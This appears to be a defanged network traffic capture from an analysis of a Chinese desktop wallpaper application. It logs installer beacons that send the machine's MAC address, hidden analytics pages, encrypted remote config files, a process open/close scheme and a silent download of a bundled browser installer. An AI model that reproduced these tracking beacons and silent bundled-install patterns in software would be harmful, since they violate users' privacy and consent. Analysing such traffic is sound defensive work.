User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: hzs21.cnzz.com

Connection: Keep-Alive

Cookie: cna=CRgdDIoZnicCAbhrJiboztvu

HTTP/1.1 200 OK

Server: Tengine/1.4.1

Date: Mon, 09 Jun 2014 21:41:31 GMT

Content-Type: image/gif

Content-Length: 43

Last-Modified: Tue, 28 May 2013 02:57:17 GMT

Connection: close

Accept-Ranges: bytes

GIF89a.............!.......,...........D..;..

GET /Public/conf/mini/1/1_4_3_2_2/53390.xml HTTP/1.1

Host: config.153624.com

Connection: keep-alive

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17 SE 2.X MetaSr 1.0

Accept-Encoding: deflate,sdch

Accept-Language: zh-CN,zh;q=0.8

Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3

HTTP/1.1 200 OK

Server: nginx

Date: Mon, 09 Jun 2014 21:41:47 GMT

Content-Type: text/xml

Content-Length: 1008

Last-Modified: Sat, 07 Jun 2014 04:25:05 GMT

Connection: keep-alive

ETag: "53929421-3f0"

Accept-Ranges: bytes

..._..O.K......&.......y.....{.".......g.........<..w .L.Sl.......\@b..)(7K9......Ha.ymL......[.. Z)E....M<.GFR........%.._w.r...E........H....C..`.....M.8/..%9"...<W.(..o.W..U.re.......w...{N.3k........Y\v.7I.z.C ........C.fJ.%.l?V?{~(~.$.Q...%H.8.......Q.i.....h@;.b.x.Au)a1;FM..q...`..t[..J2|'DKsNY|..`.d.:...4..Y.e.V......L..W......K..xe.}........(".eG...w(...I..#....$ ...oGpk..}4(..a..A..oO..%.*....S. .H..PR...l.?...gT...2w.`@..~...w.0'....x.d.f....@.Z..Cl..KY......C..Fr..^P.'..k>.._...VM...-.]...H"t:&5;^wa"...^.... ..5~.......Sb..?"....%.}.)\.wN..../O:.......wN..../..t~.uR.......4x........I..S.....Vtd?~..].O.m.."..h.\...V%.2d&...h.....A>......A..=^.{..w/"..FV.?[.}.%Q..f..;.i.f..;..!)y...;..T....g..\.@*.u.~.&D.O........-L.~...D...........4..]..r.8.0A..i7...!.M..........-g..?`.K.9....-.yF<..s.p..i(0........oCa..j:M..:}C:.J......h...Z..L}......;.[.n.T...].C.........e..H.F..a..oeSwN[..y..R.Y...L]........)6..nF.I..I.... l...d~.......ZW.}...C...W..%.....o.j1.s.UQ.t.....=..).N.....v....KP....k.....

GET /Public/tongji_baidu.html?ip=&mac=00-0C-29-64-A0-20&area=&channel_id=53390&install_way=1&soft_id=1&start_way=0&type=install&version=4.3.2.2 HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: config.153624.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Mon, 09 Jun 2014 21:41:23 GMT

Content-Type: text/html

Content-Length: 295

Last-Modified: Tue, 15 Apr 2014 02:37:16 GMT

Connection: keep-alive

ETag: "534c9b5c-127"

Accept-Ranges: bytes
<script type="text/javascript">..var _bdhmProtocol = (("https:" 
== document.location.protocol) ? " hXXps://" : " hXXp://");..document.
write(unescape("


GET /h.js?7e36c4d74dc16bfa27cd9aea154b5de5 HTTP/1.1
Accept: */*
Referer: hXXp://config.153624.com/Public/tongji_baidu.html?ip=&mac=00-0C-29-64-A0-20&area=&channel_id=53390&install_way=1&soft_id=1&start_way=0&type=install&version=4.3.2.2
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: hm.baidu.com
Connection: Keep-Alive
Cookie: HMACCOUNT=AD4692A2C64DD9D0


HTTP/1.1 200 OK
Etag: 7a1a9509314f9578d26e288ff277b8cc
Cache-Control: max-age=0, must-revalidate
Content-Encoding: gzip
Content-Type: application/javascript
Connection: Keep-Alive
Content-Length: 5285
Date: Mon, 09 Jun 2014 21:41:24 GMT
Server: apache
...............(function(){var c={id:"7e36c4d74dc16bfa27cd9aea154b5de5
",dm:["config.153624.com"],etrk:[],js:"tongji.baidu.com/hm-web/js/",ic
on:'/hmt/icon/21|gif|20|20',br:false,ctrk:false,align:-1,nv:-1,vdur:18
00000,age:31536000000,rec:0,rp:[],trust:0,vcard:0,..i{.F.{~...F...NB.R
...h.-..z..g%.maYru.......C......j...{f7..h....,3bz...4)..N...C..N.$(.
41.k.4..........~.x|5.NzN...::..Q.d|....7...jEX...i8b./..........|X"..
.2.....<..k..>..b....i..~opn9E....df.G......Yz...~.u...:........
lH`.......k2...[..&.B4.l&..`s*.Slf.....p....>....?;..Q.!...MT.s....
...@.rn.2..4JxH\u....!I..y...(.>J....Cu..r.2U......`....4.,........
.q...BJ.R1J-.P#J..%...I..O..S:"#2..4tb....=.gv.M.u3..f..o..Z..%..lb J.
-...M=.]&.$....q..4..Ng...|n.g,[.WfiY...v.sB../..4JLB...s=c..j).../...
..YfZ]rL..)......h.......w..EZf.....()A.n@.. MB....9...L....$H........
Yei."..9._o.7Y..Y...X.....4.g@.EE......{......L;.y..t`.5...< sfY;=j
WS~^S~......_.........!.......I....v<.n..L V.X....|39........R.....
...]......L..^r..{s^..|..{..5.u.1..{.5d..Im.....p#w.=5....{....#m...e.
(.....<...E.......uk.|./....w......>.U....1l_x...#40..;..$?.B.Xl
r.....[`..ZrS,!Z....H..A..I..i..8e]B.G .a.dQ2$.![..@...CV`.q...nl.N.p~
..2.C..[...w.`Yz..G.<(3N..8...H.Y^...6.d....h.,c..q:...mN.g..=<=
?{x$...R.A)koszny..#>.!P,M.....<..L...fE..~q...i....;..Z;X=.....
G.....)...R..%.Y..[..1./.D..,@S/......0........s'.r..O.$...Y.>.s...
.......9.@...T.......~z.f.0..2.,$..?q.j...r...y.e...d..q-.?..c%...B...
....?..4.*N..j]0}..B. .v..=..\ /....e.%..w.Z..N.J.....'p.i^$@...K&
<<>>

GET /hm.gif?cc=1&ck=1&cl=32-bit&ds=1024x768&et=0&fl=11.6&ja=1&ln=en-us&lo=0&nv=1&rnd=185766198&si=7e36c4d74dc16bfa27cd9aea154b5de5&st=1&v=1.0.59&lv=1 HTTP/1.1
Accept: */*
Referer: hXXp://config.153624.com/Public/tongji_baidu.html?ip=&mac=00-0C-29-64-A0-20&area=&channel_id=53390&install_way=1&soft_id=1&start_way=0&type=install&version=4.3.2.2
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: hm.baidu.com
Connection: Keep-Alive
Cookie: HMACCOUNT=AD4692A2C64DD9D0


HTTP/1.1 200 OK
Cache-Control: private, max-age=0, no-cache
Pragma: no-cache
Content-Type: image/gif
X-Content-Type-Options: nosniff
Connection: Keep-Alive
Content-Length: 43
Date: Mon, 09 Jun 2014 21:41:25 GMT
Server: apache
GIF89a.............!.......,...........L..;....


GET /h.js?00d743cebf532de99c9b8d0cb34f0c40 HTTP/1.1
Accept: */*
Referer: hXXp://img.wallba.com/Public/Configs/index.html?id=53390&class=silence
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: hm.baidu.com
Connection: Keep-Alive
Cookie: HMACCOUNT=AD4692A2C64DD9D0


HTTP/1.1 200 OK
Etag: 9b180d4d3387e2093696c20b42e6af01
Cache-Control: max-age=0, must-revalidate
Content-Encoding: gzip
Content-Type: application/javascript
Connection: Keep-Alive
Content-Length: 5282
Date: Mon, 09 Jun 2014 21:41:28 GMT
Server: apache
...............(function(){var c={id:"00d743cebf532de99c9b8d0cb34f0c40
",dm:["img.wallba.com"],etrk:[],js:"tongji.baidu.com/hm-web/js/",icon:
'/hmt/icon/21|gif|20|20',br:false,ctrk:false,align:-1,nv:-1,vdur:18000
00,age:31536000000,rec:0,rp:[],trust:0,vcard:0,..i{.F.{~...F...NB.R...
h.-..z..g%.maYru.......C......j...{f7..h....,3bz...4)..N...C..N.$(.41.
k.4..........~.x|5.NzN...::..Q.d|....7...jEX...i8b./..........|X"...2.
....<..k..>..b....i..~opn9E....df.G......Yz...~.u...:........lH`
.......k2...[..&.B4.l&..`s*.Slf.....p....>....?;..Q.!...MT.s.......
@.rn.2..4JxH\u....!I..y...(.>J....Cu..r.2U......`....4.,.........q.
..BJ.R1J-.P#J..%...I..O..S:"#2..4tb....=.gv.M.u3..f..o..Z..%..lb J.-..
.M=.]&.$....q..4..Ng...|n.g,[.WfiY...v.sB../..4JLB...s=c..j).../.....Y
fZ]rL..)......h.......w..EZf.....()A.n@.. MB....9...L....$H........Yei
."..9._o.7Y..Y...X.....4.g@.EE......{......L;.y..t`.5...< sfY;=jWS~
^S~......_.........!.......I....v<.n..L V.X....|39........R........
]......L..^r..{s^..|..{..5.u.1..{.5d..Im.....p#w.=5....{....#m...e.(..
...<...E.......uk.|./....w......>.U....1l_x...#40..;..$?.B.Xlr..
...[`..ZrS,!Z....H..A..I..i..8e]B.G .a.dQ2$.![..@...CV`.q...nl.N.p~..2
.C..[...w.`Yz..G.<(3N..8...H.Y^...6.d....h.,c..q:...mN.g..=<=?{x
$...R.A)koszny..#>.!P,M.....<..L...fE..~q...i....;..Z;X=.....G..
...)...R..%.Y..[..1./.D..,@S/......0........s'.r..O.$...Y.>.s......
....9.@...T.......~z.f.0..2.,$..?q.j...r...y.e...d..q-.?..c%...B......
.?..4.*N..j]0}..B. .v..=..\ /....e.%..w.Z..N.J.....'p.i^$@...K>
<<>>

GET /hm.gif?cc=1&ck=1&cl=32-bit&ds=1024x768&et=0&fl=11.6&ja=1&ln=en-us&lo=0&nv=1&rnd=36732087&si=00d743cebf532de99c9b8d0cb34f0c40&st=1&v=1.0.59&lv=1&tt=cnzz统计 HTTP/1.1
Accept: */*
Referer: hXXp://img.wallba.com/Public/Configs/index.html?id=53390&class=silence
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: hm.baidu.com
Connection: Keep-Alive
Cookie: HMACCOUNT=AD4692A2C64DD9D0



GIF89a.............!.......,...........L..;HTTP/1.1 200 OK..Cache-Cont
rol: private, max-age=0, no-cache..Pragma: no-cache..Content-Type: ima
ge/gif..X-Content-Type-Options: nosniff..Connection: Keep-Alive..Conte
nt-Length: 43..Date: Mon, 09 Jun 2014 21:41:29 GMT..Server: apache....


GET /Public/conf/cpa/1/1_4_3_2_2/53390.xml HTTP/1.1
Host: config.153624.com
Connection: keep-alive 
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17 SE 2.X MetaSr 1.0
Accept-Encoding: deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3


HTTP/1.1 200 OK
Server: nginx
Date: Mon, 09 Jun 2014 21:41:30 GMT
Content-Type: text/xml
Content-Length: 1400
Last-Modified: Mon, 09 Jun 2014 10:05:28 GMT
Connection: keep-alive
ETag: "539586e8-578"
Accept-Ranges: bytes
..._..O.K......&.......y.....{.".......g.........<..w .L.v...i].T.J
.@j..?,rN2^JVo.E...J.8....o..i.f..Zgk.o.Y....=)......j...,.G...D..`.n.
....WR.`h...,..;&.E...p.......... ..:c......,..n.46..*.mT0]k..........
..d>.ui5c.JX.`....i.....h@;.b.x.A.7A5...2.i.....h@;.b.x.Au)a1;FM..q
...`..t[..J2|'DKsNY|..`.d.:...4..Y.e.V......L..W......K..xe.}........(
".eG...w(...I..#....$ ...oGpk..}4(..a..A..oO..%.*....S. .H..PR...l.?..
.g........@..~...w.0'....x.d.f....@.Z..Cl...."....b....].c...2:^4..F.*
..G.y.V.RX.S...*%jNc2i....u.x.b.a......JX.....#..}..c.{..k../o|.?.....
....../o|.?....kD.B..O...C.J.R.=...k.sG1 ....=.9....k=.?)..y.w ......&
gt;.N..?.2..x....^0..Q...[.T.S..X..J..hG..)..t..............863.. ....
*.8..z.....>d.(.0....W...E..'..v.d.............v.d.....f71......!;.
..Tl-.2.......>F.8"_....i.2o1...u.....}.e.L.0o.n.9....]..{.. .V.#..
..Ic............. .V.#.V.......Jz.....#..$..........3m:.N.Q...w..$.g9&
gt;)@C.. .."4...1w}.8&.......Fk.._.#..@...J<... .HoU{..m...C.\]....
6............V.2.K.....c6...T9...C....eJ4"Kp.E.P.NG..W....q.........."
c..5l..>.f.....P.Q..@...y.3....P.Q.jDN8.FC.@..8..m%#.9K?j..%......c
1u.T8..0.P ...HA.g.......].=.1.pvq..J.cJG.v........Z......A..clI/.a...
..{..m...C.Z...%.*.'..o....LH......^X.5..B....T.}B... .E......T.}Bn..V
.h...:....z.i....&[.V....%.eEkL..J.......(.0.y>G.*Rg((2..a......8.U
y4i....KZE. %f..|..t...........1....c...a........}...L............f}..
.@0O..o.......Rw...i....OE...
<<>>

GET /stat.htm?id=4793307&r=&lg=en-us&ntime=none&repeatip=0&rtime=0&cnzz_eid=725810708-1402350084-&showp=1024x768&st=0&sin=&t=undefinedundefinedundefinedundefinedundefinedundefined&rnd=252340755 HTTP/1.1
Accept: */*
Referer: hXXp://img.wallba.com/Public/Configs/index.html?id=53390&class=silence
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: hzs6.cnzz.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: Tengine/1.4.1
Date: Mon, 09 Jun 2014 21:41:28 GMT
Content-Type: image/gif
Content-Length: 43
Last-Modified: Tue, 28 May 2013 02:57:17 GMT
Connection: close
Accept-Ranges: bytes
GIF89a.............!.......,...........D..;..


GET /Public/conf/c-lock/1/1_4_3_2_2/53390.xml HTTP/1.1
Host: config.153624.com
Connection: keep-alive 
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17 SE 2.X MetaSr 1.0
Accept-Encoding: deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3


HTTP/1.1 200 OK
Server: nginx
Date: Mon, 09 Jun 2014 21:41:20 GMT
Content-Type: text/xml
Content-Length: 1760
Last-Modified: Mon, 09 Jun 2014 02:30:09 GMT
Connection: keep-alive
ETag: "53951c31-6e0"
Accept-Ranges: bytes
.h....N..KN ...M..n7.#...!..t[......7....Zh.....].W._..C.S."..V|..#..o
....R.R:..R...17.[..F..*>......JK...n7.#....)..vW....B....|.p....1J
..S"....].a..:7j[........R.R:..qE.0.J.|.....|.n.0 .%b.......H..~.{....
/......:^.K?.e.........`).r...c.....n4[9!V~....~...X{|y....W?.Cqr.Z...
.......p ..&S!.GB^W=...W...3.z....9:..p..m..Q'G...fBQNgY". ..F...."..v
.i....p. ..C|...|../1.k9..^......5n<.r...zh......0.9...J.y........e
. M.N.....c.....|F.V.f......F...."..v.i....p. ..C|...|../1.k9..^..X.b.
#.......gM.#.....Id...y.&...=...W.....A..(^...P5.:..5..(.<...l.q...
..i....Z...e.p.d...F.d.......{Wa..e.b.2....>.k.hA.Q..0..I.S.K.|...R
E...@...]......U..L.Jv:..n...gU.......^z..Z..... ..m...=...j.....9..0L
=...W...\..N..<.?.. ..o..-. ...[..n7.#......9B........U.r.Zn ...Z0.
Q68....lL(/qS.&..?OY..q....[..].....)....q*.uf ...:....`_..9Q./..C.E.~
....xE.l...L|w......e. .B|..................|.LF/.l6t?t...C.[..N;:CJ8.
_..,...i."0...m{0......b0..Z..76.~.......B...B.5$...%{..>2.I..#.y..
...e. %.....:.X.....x.%.....:..].|....~.{..../.y.g.2.,m.<.0.&!.....
.....f.....Q}. /!..HG..OYq....H...?dJTm...Ut..%..z...W?.Cqr.Rr...O....
.,.6.=g......F/.l6t?t...C.[......"v.0....k.r...R.R:..I...kI....W.C...0
!.V2.#.........M.|&..#?..W?.Cqr...h ..8.......x=...W...!s.......S.bq..
.w..2.9.l.o.a......n7.#...0.....M$Z.U...*.@Ei.I..M.!...#..P ...HA...l.
.s&.B.......<...T.".b......=...W.......4......2.u...D.NV'x[..&h...(
6....Hh[e..%...(..py.E..q0.......3=..n_l..W?.Cqr.H....:.@.Z..Cl...."..
..b....].c...2:^4..(8.6..D..U.0...C..&...n....,..I.....e. ..D ...I
<<>>

GET /download/bdBrowserSetup-5810-ftn_1000039714.exe HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
Accept: */*
Host: youqian.baidu.com
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx/1.4.1
Date: Mon, 09 Jun 2014 21:41:14 GMT
Content-Type: application/octet-stream
Content-Length: 34977744
Last-Modified: Thu, 10 Apr 2014 12:37:04 GMT
Connection: keep-alive
ETag: "53469070-215b7d0"
Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$........V...7...7..
.7....I..7...OT..7...OD..7...7...6....}.:7....|..7....M..7....J..7..Ri
ch.7..........................PE..L......R......................0..N..
..............@...........................W.....sQ....@...............
................... 8......pQ.............x...X.....8..R..............
........................@...........T(8.<..........................
..text...G........................... ..`.rdata.......................
.......@..@.data.....-..@...B...,..............@....idata..6%... 8..&.
..n..............@....ndata... ...P8..........................rsrc....
....pQ.....................@..@.reloc...}...0W..~..................@..
B.....................................................................
......................................................................
......................................................................
......................................................a.........%...'.
........M...................9..........h...................*...f......
...,....g.....(......... ....k....(...9...................UR...p....{.
.............l.............................n....yd........_....J......
........[P...f....a....l.....&........-T.......................$..... 
........uI...p....k....6G...!....lI........................?...~;.....
....N........z....u..............f....A.....t........2.....%....M...C.
...^e...Y....D...............Q...P.....M....J.............G.......
<<>>

GET /1/scheme/53390.xml HTTP/1.1
Host: upgrade.kuping.cc
Connection: keep-alive 
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17 SE 2.X MetaSr 1.0
Accept-Encoding: deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3


HTTP/1.1 200 OK
Server: nginx
Date: Mon, 09 Jun 2014 10:12:40 GMT
Content-Type: text/xml
Content-Length: 426
Last-Modified: Sat, 17 May 2014 02:16:02 GMT
ETag: "5376c662-1aa"
Accept-Ranges: bytes
Expires: Tue, 10 Jun 2014 10:12:40 GMT
Age: 41331
Powered-By-ChinaCache: HIT from 06010923SE
<?xml version="1.0" encoding="utf-8"?>.<body>.<close&gt
;kp4_Mini.exe|kuping_v4.exe,6000|kp4_Mini.exe|DeskTopPop.exe|ExpandPac
kCheck.exe|Kp_BootClr.exe|Kp_BootClry.exe|KpInstallTheme.exe</close
>.<open>kuping_v4.exe,500*10|Repairer.exe</open>.<ht
tp>hXXp://file.kuping.cc/</http>.<area>..<name>ot
her</name>..<way>2</way>..<toversion>4.3.2.2&l
t;/toversion>..<url>hXXp://upgrade.kuping.cc/1/version_xml/4.
3.2.2.xml</url>.</area>.</body>...


GET /stat.php?id=4833416&web_id=4833416 HTTP/1.1
Accept: */*
Referer: hXXp://config.wallba.com/Public/Configs/Liveindex.html?id=53390
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: s21.cnzz.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: Tengine
Date: Mon, 09 Jun 2014 21:41:30 GMT
Content-Type: application/javascript
Transfer-Encoding: chunked
Connection: keep-alive
Last-Modified: Mon, 09 Jun 2014 21:41:30 GMT
Expires: Mon, 09 Jun 2014 23:11:30 GMT
1f7a..(function(){function l(){this.c="4833416";this.R="z";this.N="";t
his.K="";this.M="";this.o="1402350090";this.P="hzs21.cnzz.com";this.L=
"";this.s="CNZZDATA" this.c;this.r="_CNZZDbridge_" this.c;this.G="_cnz
z_CV" this.c;this.u="0";this.B={};this.a={};this.la()}function g(a,b){
try{var c=[];c.push("siteid=4833416");.c.push("name=" d(a.name));c.pus
h("msg=" d(a.message));c.push("r=" d(h.referrer));c.push("page=" d(f.l
ocation.href));c.push("agent=" d(f.navigator.userAgent));c.push("ex=" 
d(b));c.push("rnd=" Math.floor(2147483648*Math.random()));(new Image).
src="hXXp://jserr.cnzz.com/log.php?" c.join("&")}catch(e){}}var h=docu
ment,f=window,d=encodeURIComponent,k=decodeURIComponent,p=unescape,r=e
scape,m="https:"===f.location.protocol?"https:":"http:",s=m "//c.cnzz.
com/core.php";l.prototype={la:function(){try{this.U(),.this.J(),this.i
a(),this.H(),this.m(),this.ga(),this.fa(),this.ja(),this.j(),this.ea()
,this.ha(),this.ka(),this.ca(),this.aa(),this.da(),this.qa(),f[this.r]
=f[this.r]||{},this.ba("_cnzz_CV")}catch(a){g(a,"i failed")}},oa:funct
ion(){try{var a=this;f._czc={push:function(){return a.C.apply(a,argume
nts)}}}catch(b){g(b,"oP failed")}},aa:function(){try{var a=f._czc;if("
[object Array]"==={}.toString.call(a))for(var b=0;b<a.length;b  ){v
ar c=a[b];switch(c[0]){case "_setAccount":f._cz_account="[object Strin
g]"===.{}.toString.call(c[1])?c[1]:String(c[1]);break;case "_setAutoPa
geview":"boolean"===typeof c[1]&&(f._cz_autoPageview=c[1])}}}catch(e){
g(e,"cS failed")}},qa:function(){try{if("undefined"===typeof f._cz
<<>>

GET /Public/conf/bz_pop_xml/1/1_4_3_2_2/53390.xml HTTP/1.1
Host: config.153624.com
Connection: keep-alive 
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17 SE 2.X MetaSr 1.0
Accept-Encoding: deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3


HTTP/1.1 404 Not Found
Server: nginx
Date: Mon, 09 Jun 2014 21:41:49 GMT
Content-Type: text/html
Content-Length: 564
Connection: keep-alive
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx</
center>..</body>..</html>..<!-- a padding to disable
 MSIE and Chrome friendly error page -->..<!-- a padding to disa
ble MSIE and Chrome friendly error page -->..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->....


GET /Public/conf/media/1/1_4_3_2_2/53390.xml HTTP/1.1
Host: config.153624.com
Connection: keep-alive 
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17 SE 2.X MetaSr 1.0
Accept-Encoding: deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3


HTTP/1.1 200 OK
Server: nginx
Date: Mon, 09 Jun 2014 21:41:47 GMT
Content-Type: text/xml
Content-Length: 880
Last-Modified: Mon, 09 Jun 2014 10:08:26 GMT
Connection: keep-alive
ETag: "5395879a-370"
Accept-Ranges: bytes
..._..O.K......&.......y.....{.".......g.........<..w .L`D.7......{
....Q...lRc.,8....o..i.f..Zgk.o.Y....=)......j...,.G...D..`.n.....WR..
...sfA$;&.E...p.......... ..:c......,......S__.mT0]k............d>.
ui5c.JX.`....i.....h@;.b.x.A.F9:._(.7.|.5....d>.ui5c..[....V.B_..w.
..{.,...F?...I@..\.....U..)..w.x.S>.bNm...i.pMn.%....-.....?..3...'
h......<Tj.1....>$.S.....C..HZ...n..pg.~......i..(..E.8.n.....*.
...S. p.DkI..0.8...c ...G.1........z./.Y.E.o7.n.p.....U.G&..k.^..{C.8.
.9...Lk{..D\N..=|.e.y5.;Z...v..^..>.-"Iyl..\C|q.4o.tV.....I.....4o.
tV........,l.qa..@:.tx.... ......<0.YW`xNMB.W.x....^0*.5q....p&....
T.%....yC.G1 ....=8..O.=c..U .....89.?:..MVC.I....T.S..X....(...y^.B_.
.w...5.. .f..0.^N......Q.g....f71.....bdn-...rO......2N.^.E.k....qw...
..u..C.....X.....?.........=.........U......i.....<."..]$ap ].r....
..."J.z~e?.D..e.......H...i.e(...... ..IuM.L.J.k...#.y..~m.(.A.}.....


GET /Public/Configs/Liveindex.html?id=53390 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml xml, */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: config.wallba.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Mon, 09 Jun 2014 21:38:04 GMT
Content-Type: text/html
Content-Length: 312
Last-Modified: Wed, 12 Dec 2012 06:57:03 GMT
Connection: keep-alive
ETag: "50c82abf-138"
Accept-Ranges: bytes
<!DOCTYPE html>.<html>.<head>.    <title>tj&lt
;/title>.    </head>.    <body>.        <div style="
display: none;">.                <script src="hXXp://s21.cnzz.co
m/stat.php?id=4833416&web_id=4833416" language="JavaScript"></sc
ript>.                    </div>.                    </bod
y>.                    </html>...


GET /Public/Configs/Functon_version.xml HTTP/1.1
Host: config.wallba.com 
Accept: 
Referer:  hXXp://VVV.wallba.com/
User-Agent: Mozilla/4.0         (compatible; MSIE 5.0; Windows NT; DigExt; DTS Agent;)
Range: bytes=0- 


HTTP/1.1 206 Partial Content
Server: nginx
Date: Mon, 09 Jun 2014 21:38:03 GMT
Content-Type: text/xml
Content-Length: 270
Last-Modified: Mon, 01 Apr 2013 07:10:23 GMT
Connection: keep-alive
ETag: "515932df-10e"
Content-Range: bytes 0-269/270
<?xml version="1.0" encoding="utf-8"?><think><homeVersi
on>162</homeVersion><AppVersion>3</AppVersion>&lt
;AppSoftVersion>3</AppSoftVersion><SearchBuffVersion>61
</SearchBuffVersion><SkinVersion>3</SkinVersion><
AlbumVersion>9</AlbumVersion><LiveVersion>1</LiveVer
sion></think>..


GET /Public/Configs/KpLiveControl/53390.xml HTTP/1.1
Host: config.wallba.com 
Accept: 
Referer:  hXXp://VVV.wallba.com/
User-Agent: Mozilla/4.0         (compatible; MSIE 5.0; Windows NT; DigExt; DTS Agent;)
Range: bytes=0- 


HTTP/1.1 404 Not Found
Server: nginx
Date: Mon, 09 Jun 2014 21:38:04 GMT
Content-Type: text/html
Content-Length: 1
Connection: keep-alive
ETag: "5088e841-1"
...


GET /app.gif?&cna=CRgdDIoZnicCAbhrJiboztvu HTTP/1.1
Accept: */*
Referer: hXXp://img.wallba.com/Public/Configs/index.html?id=53390&class=silence
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Connection: Keep-Alive
Host: pcookie.cnzz.com


HTTP/1.1 200 OK
Server: Tengine
Date: Mon, 09 Jun 2014 21:41:29 GMT
Content-Type: image/gif
Content-Length: 43
Connection: keep-alive
P3P: CP="NOI DSP COR CURa ADMa DEVa PSAa PSDa OUR IND UNI PUR NAV"
Set-Cookie: cna=CRgdDIoZnicCAbhrJiboztvu; expires=Thu, 06-Jun-24 21:41:29 GMT; path=/; domain=.cnzz.com
Expires: Thu, 01 Jan 1970 00:00:01 GMT
Cache-Control: no-cache
Pragma: no-cache
GIF89a.............!.......,...........L..;..


GET /1.xml HTTP/1.1
Host: config.153624.com
Connection: keep-alive 
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17 SE 2.X MetaSr 1.0
Accept-Encoding: deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3


HTTP/1.1 200 OK
Server: nginx
